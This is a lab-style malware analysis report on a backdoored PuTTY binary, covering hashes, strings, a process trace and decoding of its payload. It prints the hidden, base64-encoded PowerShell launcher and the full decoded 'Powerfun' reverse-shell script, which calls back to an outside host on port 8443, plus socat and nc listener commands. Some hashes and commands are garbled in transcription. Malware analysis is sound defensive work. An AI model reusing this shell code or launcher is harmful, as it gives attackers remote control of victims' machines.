

Practical Malware Analysis & Triage

Malware Analysis Report

Putty Malware – Find the backdoor

2022-08-19 | @RogerBergling | v1.0

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Objectives

Roger Bergling received information from help desk that putty, a program they use all the time does not work as it should.

Now, it's crashing randomly and popping up blue windows when its run. I don't like the sound of that. So help desk wants me to see if we can find something that is there that should not be there.

Executive Summary


We received an email from help desk that their application is not working as it should. The application that help desk is using in their work to connect to different servers was compromised with a backdoor. That backdoor tries to connect to an external address and take over the computer that is running Putty.exe

The backdoor can be used to get access to all of our server and we need to go to defcon 5. The IT-Department shall be on high alert and search for this application on all the machines in the company



High-Level Technical Summary

Putty starts as normal, but with the start of putty also powershell is started in hidden window. Powershell has a payload that is decoded and compressed. When the powerscript lanches it attempts to contact its callback address (bonus2.corporatebonusapplication.local:8443)





Malware Composition

Putty.exe consists of the following components

Hashes

File Name	Hash	Values
Putty.exe	Md5	334A10500FEB0F3444BF2E86AB2E76DA
Putty.exe	Sha1	C6A97B63FBD970984B95AE79A2B2AEF5749EE463
Putty.exe	Sha256	0C82E654C09C8FD9FDF4899718EFA37670974C9EEC5A8FC18A167F93CEA6EE83

Screenshot

property	value
md5	334A10500FEB0F3444BF2E86AB2E76DA
sha1	C6A97B63FB970984B95AE79A2B2AEF5749EE463
sha256	0C82E654C09C8FD9FDF4899718EFA37670974C9EFC5A8FC18A167F93CEA6EE83

First byte

First bytes is MZ that meas that is a portable executable.

Architect

File Name	Value	Values
Putty.exe	CPU	32-bit

Compiler-stamp

File Name	Value	Values
Putty.exe	Compiler stamp	Sat Jul 10 09:51:55 2021 UTC



Basic Static Analysis

Strings

Because this is “putty” applications it is hard to find anything useful even if we have a lot in the block list. There is nothing more in the static analysis that we already have found.

encoding (2)	size (bytes)	location	flag (161)	hint (2270)	value (41663)
ascii	4	0x000AA0FC	x	utility	send
ascii	26	0x000AA03A	x	function	SetSecurityDescriptorOwner
ascii	14	0x000BDF9C	x	function	CloseClipboard
ascii	14	0x000BE008	x	function	EmptyClipboard
ascii	10	0x000BE140	x	function	GetCapture
ascii	16	0x000BE172	x	function	GetClipboardData
ascii	17	0x000BE186	x	function	GetClipboardOwner
ascii	16	0x000BE1B2	x	function	GetDesktopWindow
ascii	19	0x000BE1FC	x	function	GetForegroundWindow
ascii	16	0x000BE226	x	function	GetKeyboardState
ascii	14	0x000BE266	x	function	GetQueueStatus
ascii	13	0x000BE458	x	function	OpenClipboard
ascii	23	0x000BE4CE	x	function	RegisterClipboardFormat
ascii	16	0x000BE598	x	function	SetClipboardData
ascii	16	0x000BE5EC	x	function	SetKeyboardState
ascii	20	0x000BE68E	x	function	SystemParametersInfo
ascii	12	0x000BE72E	x	function	ShellExecute
ascii	24	0x000BE7E8	x	function	AllocateAndInitializeSid
ascii	8	0x000BE80E	x	function	EqualSid
ascii	12	0x000BE81A	x	function	GetLengthSid
ascii	12	0x000BE868	x	function	RegCreateKey
ascii	14	0x000BE878	x	function	RegCreateKeyEx
ascii	12	0x000BE89A	x	function	RegDeleteKey
ascii	14	0x000BE89A	x	function	RegDeleteValue
ascii	10	0x000BE8AC	x	function	RegEnumKey
ascii	13	0x000BE8DC	x	function	RegSetValueEx
ascii	25	0x000BE8EE	x	function	SetSecurityDescriptorDacl
ascii	26	0x000BE90A	x	function	SetSecurityDescriptorOwner
ascii	13	0x000BE9EA	x	function	CreateProcess
ascii	10	0x000BEA34	x	function	DeleteFile
ascii	13	0x000BEA84	x	function	FindFirstFile
ascii	15	0x000BEA96	x	function	FindFirstFileEx
ascii	12	0x000BEA9A	x	function	FindNextFile
ascii	12	0x000BEA8A	x	function	FindNextFile
ascii	19	0x000BEC0	x	function	GetCurrentProcessId
ascii	16	0x000BED0	x	function	GetCurrentThread
ascii	18	0x000BEBEA	x	function	GetCurrentThreadId
ascii	21	0x000BEC12	x	function	GetEnvironmentStrings
ascii	22	0x000BEC2C	x	function	GetEnvironmentVariable
ascii	17	0x000BECDE	x	function	GetModuleHandleEx
ascii	19	0x000BED14	x	function	GetOverlappedResult
ascii	14	0x000BEDD4	x	function	GetThreadTimes
ascii	18	0x000BEE74	x	function	GlobalMemoryStatus

Basic Dynamic Analysis

Start the application

When we start the application it seems normal putty. Except that a blue screen pops up very fast.

So we open putty.exe in procman to see what processes is running. We can see that the parent ID is 4332 and we filter on that.

	Time	Process Name	PID	Operation	Path	Result	Detail
13:00...		putty.exe	1068	cProcess Start		SUCCESS	Parent PID: 4332, Command line: "C:\Users\roger\Desktop\putty.exe", Current directory: C:\Users\roger\Desktop\, Environment: =.:VALUSER..
13:00...		putty.exe	1068	cThread Create		SUCCESS	Thread ID: 896
13:00...		putty.exe	1068	cLoad Image	C:\Users\roger\Desktop\putty.exe	SUCCESS	Image Base: 0x400000, Image Size: 0x180a04
13:00...		putty.exe	1068	cLoad Image	C:\Windows\System32\vt.dll	SUCCESS	Image Base: 0x7fbba370000, Image Size: 0x18000
13:00...		putty.exe	1068	cLoad Image	C:\Windows\SysWOW64\vt.dll	SUCCESS	Image Base: 0x77d40000, Image Size: 0x1a4000
13:00...		putty.exe	1068	cCreateFile	C:\Windows\Prefetch\PUTTY.EXE-0...	NAME NOT FOUND Desired Access: Generic Read, Disposition: Open, Options: Synchronous IO Non-Alert, Attributes: n/a, ShareMode: None, AllocationSize: n/a	

After we have filter out the PID we can see some strangethins going on. Why is powershell running with putty?

	Time	Process Name	PID	Operation	Path	Result	Detail
13:00...		powershell.exe	1600	cProcess Start		SUCCESS	Parent PID: 4332, Command line: powershell.exe -nop -w hidden -noni -ep bypass "&([scriptblock]::create((New-Object System.IO.StreamReader(New-Object System.IO.Compression.GzipStream((New-Object System.IO.MemoryStream([System.Convert]::FromBase64String('H4sIAOW/UWECA51W227jNhB991cMXHUtlRbhdbAESCLepVsGyDdNVZu82AYCE2NYzUyqZKUL0j87yUlypLjBNtUL7aGczlz5kL9AGOxQbkoOIRwK10tkcN8B5/Mz6SQHCW8g0u6RvidymTX6RhNplPB4TfU4S3OWZYi19B57IB5vA2DC/iCm/Dr/G9kGsLJLscvdIVGqlnRj0r9Wpn8qfASF7TIdCQzMScpzRx4WIz4EFrLMV2R55pGHILLuut29g3EvE6t8wj+ZhKuvKr/9NYy5Tfz7xlrFaUJ/1jaawyJvgz4aXY8EzQpJQGzqcUDJUCR8BKJEWGFuCvfgCVSroAvw4DIf4D3XnKk25QHZ2pW2WKKo/ofzChNyZ/ytiWYsFe0CtyITlN05j9suHDz+dGhKlqdQ2rotcnroSXbT0Roxhro3Dqhx+BWX/GlyJa5QKTxEfXLdK/hLyaoWcdeeCF2plmJC5kFRj+U7zPEsZtUUjmWA06/Ztgg5Vp2JWaYl0Zd0oohLTgXEPM/Ab4FXhKty2ibquTi3USmVx7ewV4MgKMww7Eteqvovf9xam27DvP3oT430PIVuWPbl5hiuhMUKp04XNCv+iWZqU2UU0y+aUPcyC4AU4ZFTope1nazRSb6QsaJW84arJtU3mdL7TOJ3NPPrtrm3VAyHBgnqcfHwd7xzfpD72pxq3miBnlrGTcH4+iqPr68DW4JPV8bu3pqxFRI X7JF5iloEsODfaYBqqlGnrLpyBh3x9bt+4XQpnRmaKdThgYpUXujm845HldzK9X2rwowCGg/c/wx8pk0KjhYbIWJJgJGNaDUVSDQB1piQO37HXdc6Tohdug32fUH/eaF3CC/18t2P9Uz3+6ok4Z6G1XTsxncGJeWG7cvyAHn27HWVp+FvKjsaTBXTiHlh33UaDWw7eMfrfGA1NIWG6/2FDxd87V4wPBqmxtuleH74GV/PKRvYql3jqFn6lyiuBFVOwdkTPXSSHsfe/+7dJtlmqHve2k5
13:00...		powershell.exe	1600	cThread Create		SUCCESS	Thread ID: 2572
13:00:40.3610506		hell.exe	1600	cLoad Image	C:\Windows\SyWOW64\WindowsPo...	SUCCESS	Image Base: 0xb70000, Image Size: 0x6d000
13:00...		powershell.exe	1600	cLoad Image	C:\Windows\System32\vt.dll	SUCCESS	Image Base: 0x7fbba370000, Image Size: 0x18000

The Powershell code:

```
powershell.exe -nop -w hidden -noni -ep bypass "&([scriptblock]::create((New-Object System.IO.StreamReader(New-Object System.IO.Compression.GzipStream((New-Object System.IO.MemoryStream([System.Convert]::FromBase64String('H4sIAOW/UWECA51W227jNhB991cMXHUtlRbhdbAESCLepVsGyDdNVZu82AYCE2NYzUyqZKUL0j87yUlypLjBNtUL7aGczlz5kL9AGOxQbkoOIRwK10tkcN8B5/Mz6SQHCW8g0u6RvidymTX6RhNplPB4TfU4S3OWZYi19B57IB5vA2DC/iCm/Dr/G9kGsLJLscvdIVGqlnRj0r9Wpn8qfASF7TIdCQzMScpzRx4WIz4EFrLMV2R55pGHILLuut29g3EvE6t8wj+ZhKuvKr/9NYy5Tfz7xlrFaUJ/1jaawyJvgz4aXY8EzQpJQGzqcUDJUCR8BKJEWGFuCvfgCVSroAvw4DIf4D3XnKk25QHZ2pW2WKKo/ofzChNyZ/ytiWYsFe0CtyITlN05j9suHDz+dGhKlqdQ2rotcnroSXbT0Roxhro3Dqhx+BWX/GlyJa5QKTxEfXLdK/hLyaoWcdeeCF2plmJC5kFRj+U7zPEsZtUUjmWA06/Ztgg5Vp2JWaYl0Zd0oohLTgXEPM/Ab4FXhKty2ibquTi3USmVx7ewV4MgKMww7Eteqvovf9xam27DvP3oT430PIVuWPbl5hiuhMUKp04XNCv+iWZqU2UU0y+aUPcyC4AU4ZFTope1nazRSb6QsaJW84arJtU3mdL7TOJ3NPPrtrm3VAyHBgnqcfHwd7xzfpD72pxq3miBnlrGTcH4+iqPr68DW4JPV8bu3pqxFRI X7JF5iloEsODfaYBqqlGnrLpyBh3x9bt+4XQpnRmaKdThgYpUXujm845HldzK9X2rwowCGg/c/wx8pk0KjhYbIWJJgJGNaDUVSDQB1piQO37HXdc6Tohdug32fUH/eaF3CC/18t2P9Uz3+6ok4Z6G1XTsxncGJeWG7cvyAHn27HWVp+FvKjsaTBXTiHlh33UaDWw7eMfrfGA1NIWG6/2FDxd87V4wPBqmxtuleH74GV/PKRvYql3jqFn6lyiuBFVOwdkTPXSSHsfe/+7dJtlmqHve2k5
```

```
A5X5N6SJX3V8HwZ98I7sAgg5wuCktlcWPiYTk8prV5tbHFaFlCleuZQbL2b8qYXS8ub2V0lzn
Q54afCsry2sFyeFADCekVXzocf372HJ/ha6LDyCo6KI1dDKAmpHRuSv1MC6DV0thalh1IKOR
3MjoK1UJfnhGVIpR+8hOCi/WIGf9s5naT/1D6Nm++OTrtVTgantvmcFWp5uLXdGnSXTZQJh
S6f5h6Ntcjry9N8eXQOXxyH4rirE0J3L9kF8i/ml93dQkAAA=')),[System.IO.Compression
.CompressionMode]:::Decompress)).ReadToEnd()))"
```

Current directory: C:\Users\roger\Desktop\

Environment:

```
= ::= :\ALLUSERSPROFILE=C:\ProgramData
APPDATA=C:\Users\roger\AppData\Roaming
ChocolateyInstall=C:\ProgramData\chocolatey
ChocolateyLastPathUpdate=133051555818744369
ChocolateyToolsLocation=C:\Tools
CommonProgramFiles=C:\Program Files (x86)\Common Files
CommonProgramFiles(x86)=C:\Program Files (x86)\Common Files
CommonProgramW6432=C:\Program Files\Common Files
COMPUTERNAME=DESKTOP-CDDTTNF
ComSpec=C:\Windows\system32\cmd.exe
DriverData=C:\Windows\System32\Drivers\DriverData
HOMEDRIVE=C:
HOMEPATH=\Users\roger
JAVA_HOME=C:\Program Files\OpenJDK\openjdk-11.0.16_8
LANG=ZZ
LOCALAPPDATA=C:\Users\roger\AppData\Local
LOGONSERVER=\\DESKTOP-CDDTTNF
NUMBER_OF_PROCESSORS=2
OneDrive=C:\Users\roger\OneDrive
OS=Windows_NT
Path=C:\Program Files (x86)\Common
Files\Oracle\Java\javapath;C:\Python37\Scripts;C:\Python37;C:\Python27;C:\Python
27\Scripts;C:\ProgramData\Boxstarter;C:\Windows\system32;C:\Windows;C:\Windows\
System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System3
2\OpenSSH;C:\ProgramData\chocolatey\bin;C:\Program Files\OpenJDK\openjdk-
11.0.16_8\bin;C:\Program Files\nodejs\;C:\Program Files\Microsoft VS
Code\bin;C:\Users\roger\AppData\Local\Microsoft\WindowsApps;C:\Tools\Cmder;C:\To
ols\java-deobfuscator-gui;C:\Tools\Bytecode-Viewer;C:\Program Files
(x86)\Nmap;C:\ProgramData\chocolatey\lib\rawcap\tools\rawcap;C:\Tools\pyinstxtract
or;C:\Tools\oledump;C:\Tools\rtfdump;C:\Tools\msoffcrypto-crack;C:\Program Files
(x86)\pdfid;C:\Program Files
(x86)\pdfparser;C:\pdfstreamdumper;C:\iDefense\SysAnalyzer;;C:\Users\roger\AppData
\Local\Programs\Fiddler;C:\Users\roger\AppData\Roaming\npm
PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.PYW
```



```
PROCESSOR_ARCHITECTURE=x86
PROCESSOR_ARCHITEW6432=AMD64
PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 142 Stepping 10, GenuineIntel
PROCESSOR_LEVEL=6
PROCESSOR_REVISION=8e0a
ProgramData=C:\ProgramData
ProgramFiles=C:\Program Files (x86)
ProgramFiles(x86)=C:\Program Files (x86)
ProgramW6432=C:\Program Files
PROMPT=FLARE$S$d$$t$$_p$+$g
PSModulePath=C:\Users\roger\Documents\WindowsPowerShell\Modules
PUBLIC=C:\Users\Public
RAW_TOOLS_DIR=C:\Tools
SESSIONNAME=Console
SystemDrive=C:
SystemRoot=C:\Windows
TEMP=C:\Users\roger\AppData\Local\Temp
TMP=C:\Users\roger\AppData\Local\Temp
TOOL_LIST_DIR=C:\ProgramData\Microsoft\Windows\Start Menu\Programs\FLARE
TOOL_LIST_SHORTCUT=C:\Users\roger\Desktop\FLARE.lnk
USERDOMAIN=DESKTOP-CDDTNF
USERDOMAIN_ROAMINGPROFILE=DESKTOP-CDDTNF
USERNAME=roger
USERPROFILE=C:\Users\roger
VM_COMMON_DIR=C:\ProgramData\FEVM
windir=C:\Windows
_NT_SYMBOL_PATH=symsrv*symsrv.dll*C:\symbols*http://msdl.microsoft.com/
download/symbols
__COMPAT_LAYER=DetectorsAppHealth
```

Base64 decode

We can see that powershell is trying to run some base64 encoded stuff. But when we decode it, it is just garbage. So we exported to a file and executed file on the export base64 decode file (putty).



PRACTICAL MALWARE
ANALYSIS & TRIAGE

Unpack the code

We know that is packet with something

```
remnux@remnux:~$ file putty
```

Lets get this file open

Mv putty putty.gz

Gunzip putty.gz

Cat putty

```
remnux@remnux:~$ mv putty putty.gz
remnux@remnux:~$ gunzip putty.gz
remnux@remnux:~$ ls
Desktop Documents Downloads Music Pictures Public putty Templates Vid
remnux@remnux:~$ cat putty
# Powerfun - Written by Ben Turner & Dave Hardy

function Get-Webclient
{
    $wc = New-Object -TypeName Net.WebClient
    $wc.UseDefaultCredentials = $true
    $wc.Proxy.Credentials = $wc.Credentials
    $wc
}
function powerfun
{
    Param(
        [String]$Command,
        [String]$Sslcon,
        [String]$Download
    )
    Process {
        $modules = @()
        if ($Command -eq "bind")
        {
            $listener = [System.Net.Sockets.TcpListener]8443
            $listener.start()
```

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2022-08-19
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Decode payload

Powerfun - Written by Ben Turner & Dave Hardy

```
function Get-Webclient
{
    $wc = New-Object -TypeName Net.WebClient
    $wc.UseDefaultCredentials = $true
    $wc.Proxy.Credentials = $wc.Credentials
    $wc
}

function powerfun
{
    Param(
        [String]$Command,
        [String]$Sslcon,
        [String]$Download
    )
    Process {
        $modules = @()
        if ($Command -eq "bind")
        {
            $listener = [System.Net.Sockets.TcpListener]8443
            $listener.start()
            $client = $listener.AcceptTcpClient()
        }
        if ($Command -eq "reverse")
        {
            $client = New-Object
            System.Net.Sockets.TCPCClient("bonus2.corporatebonusapplication.local",8443)
        }

        $stream = $client.GetStream()

        if ($Sslcon -eq "true")
        {
            $sslStream = New-Object System.Net.Security.SslStream($stream,$false,{$True}
-as [Net.Security.RemoteCertificateValidationCallback])
            $sslStream.AuthenticateAsClient("bonus2.corporatebonusapplication.local")
            $stream = $sslStream
        }

        [byte[]]$bytes = 0..20000 | % {0}
    }
}
```



```
$sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as
user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015
Microsoft Corporation. All rights reserved. `n`n")
$stream.Write($sendbytes,0,$sendbytes.Length)

if ($Download -eq "true")
{
    $sendbytes = ([text.encoding]::ASCII).GetBytes("[+] Loading modules. `n")
    $stream.Write($sendbytes,0,$sendbytes.Length)
    ForEach ($module in $modules)
    {
        (Get-Webclient).DownloadString($module) | Invoke-Expression
    }
}

$sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>')
$stream.Write($sendbytes,0,$sendbytes.Length)

while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
{
    $EncodedText = New-Object -TypeName System.Text.ASCIIEncoding
    $data = $EncodedText.GetString($bytes,0, $i)
    $sendback = (Invoke-Expression -Command $data 2>&1 | Out-String )

    $sendback2 = $sendback + 'PS ' + (Get-Location).Path + '> '
    $x = ($error[0] | Out-String)
    $error.clear()
    $sendback2 = $sendback2 + $x

    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
    $stream.Write($sendbyte,0,$sendbyte.Length)
    $stream.Flush()
}
$client.Close()
$listener.Stop()
}

powerfun -Command reverse -Sslcon true
```



Payload

The payload is trying to connect to:

System.Net.Sockets.TCPClient("bonus2.corporatebonusapplication.local",8443)

Because the payload is using TLS has we can see from the wireshark output

No.	Time	Source	Destination	Protocol	Length	Info
1	0.000000	fe80::a00:27ff:feaa... ff02::2		ICMPv6	70	Router Solicitation from 08:00:27:ea:7c:01
2	2.319828	192.168.56.4	192.168.56.3	TCP	66	24028 → 8443 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 WS=256 SACK_PERM=1
3	2.320110	192.168.56.3	192.168.56.4	TCP	66	8443 → 24028 [SYN, ACK] Seq=0 Ack=1 Win=64240 Len=0 MSS=1460 SACK_PERM=1 WS=128
4	2.320184	192.168.56.4	192.168.56.3	TCP	54	24028 → 8443 [ACK] Seq=1 Ack=1 Win=2102272 Len=0
5	2.332581	192.168.56.4	192.168.56.3	TLSv1.2	254	Client Hello
6	2.332887	192.168.56.3	192.168.56.4	TCP	60	8443 → 24028 [ACK] Seq=1 Ack=201 Win=64128 Len=0
7	2.341838	192.168.56.3	192.168.56.4	TLSv1.2	1365	[Server Hello, Certificate, Server Key Exchange, Server Hello Done]
8	2.344972	192.168.56.4	192.168.56.3	TLSv1.2	188	Client Key Exchange, Change Cipher Spec, Encrypted Handshake Message
9	2.345323	192.168.56.3	192.168.56.4	TCP	60	8443 → 24028 [ACK] Seq=1312 Ack=327 Win=64128 Len=0
10	2.345716	192.168.56.3	192.168.56.4	TLSv1.2	280	New Session Ticket, Change Cipher Spec, Encrypted Handshake Message
11	2.387756	192.168.56.4	192.168.56.3	TCP	54	24028 → 8443 [ACK] Seq=327 Ack=1538 Win=2102272 Len=0
12	2.949307	192.168.56.4	192.168.56.3	TLSv1.2	207	Application Data
13	2.949579	192.168.56.3	192.168.56.4	TCP	60	8443 → 24028 [ACK] Seq=1538 Ack=480 Win=64128 Len=0
14	3.003403	192.168.56.4	192.168.56.3	TLSv1.2	100	Application Data

Socat listener with TLS support

Create the certificate to use

```
openssl req -new -x509 -keyout test.key -out test.crt -nodes  
cat test.key test.crt > test.pem
```

Then we start a listener with socat to see what's happening. We also launch the putty application on our windows box.

```
socat openssl-listen:8443,reuseaddr,cert=test.pem,verify=0,fork stdio
```

And we have a reverse shell!

Wireshark screenshot showing a TLS handshake between 192.168.56.4 and 192.168.56.3. The handshake consists of several TCP segments, including the Client Hello, Server Hello, and Application Data frames.

REnux terminal window (Aug 19 07:39):

```
root@renminux:/home/renminux
root@renminux:~# openssl -listen:8443,reuseaddr,cert=test.pem,verify=0,fork stdio
Windows PowerShell running as user root on DESKTOP-CDDTNF
Copyright (C) 2015 Microsoft Corporation. All rights reserved.

PS C:\Users\roger\Desktop\whamni>
```

Windows PowerShell window (Aug 19 07:39):

```
root@renminux:/home/renminux
root@renminux:~# nc -l -p 8443
listening on [any] 8443 ...
192.168.56.4:49152 -> 192.168.56.3
Windows PowerShell running as user root on DESKTOP-CDDTNF
Copyright (C) 2015 Microsoft Corporation. All rights reserved.

PS C:\Users\roger\Desktop\whamni>
```

-END-